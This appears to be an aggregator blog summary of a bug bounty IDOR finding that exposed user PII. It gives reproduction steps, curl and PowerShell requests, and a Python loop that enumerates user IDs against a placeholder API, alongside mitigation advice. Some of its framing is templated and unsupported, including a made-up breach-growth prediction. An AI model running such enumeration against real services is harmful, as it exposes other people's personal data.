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In a recent private bug bounty program, a security researcher uncovered a critical Insecure Direct Object Reference (IDOR) vulnerability leading to Personally Identifiable Information (PII) exposure, earning a $250 bounty. The flaw allowed unauthorized access to sensitive user data due to weak access controls.
You Should Know:
1. Understanding IDOR Vulnerabilities
IDOR occurs when an application exposes internal object references (e.g., user IDs, file paths) without proper authorization checks. Attackers manipulate these references to access unauthorized data.
2. How the Exploit Worked
- The researcher used Burp Suite to intercept API requests.
- Modified request parameters (e.g., `user_id=123` →
user_id=124) to access another user’s data. - Verified PII exposure (names, emails, addresses).
3. Steps to Reproduce IDOR
- Intercept Requests – Use Burp Suite or OWASP ZAP.
Start Burp Suite java -jar burpsuite_pro.jar
- Modify Parameters – Change IDs, filenames, or tokens.
GET /api/user?id=123 → GET /api/user?id=124
- Check Authorization – Verify if the app enforces access controls.
4. Preventing IDOR Attacks
- Implement role-based access control (RBAC).
- Use UUIDs instead of sequential IDs.
- Validate user permissions on every request.
5. Useful Commands for Testing
- Linux:
curl -H "Authorization: Bearer TOKEN" https://api.example.com/user/124
- Windows (PowerShell):
Invoke-WebRequest -Uri "https://api.example.com/user/124" -Headers @{"Authorization"="Bearer TOKEN"}
6. Automated Testing with Python
import requests
for user_id in range(100, 110):
response = requests.get(f"https://api.example.com/user/{user_id}")
if response.status_code == 200:
print(f"Data leaked for user {user_id}: {response.text}")
What Undercode Say:
IDOR remains a top web vulnerability due to poor access control implementations. Always test:
– Direct object references in APIs.
– Session handling flaws.
– Parameter tampering in GET/POST requests.
Prediction:
As APIs grow, IDOR-related breaches will increase by 30% in 2024, emphasizing the need for strict access controls.
Expected Output:
- Unauthorized PII access via IDOR.
- Successful bounty payout report.
- Mitigation via proper authorization checks.
Relevant URLs:
References:
Reported By: Dubeyom Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
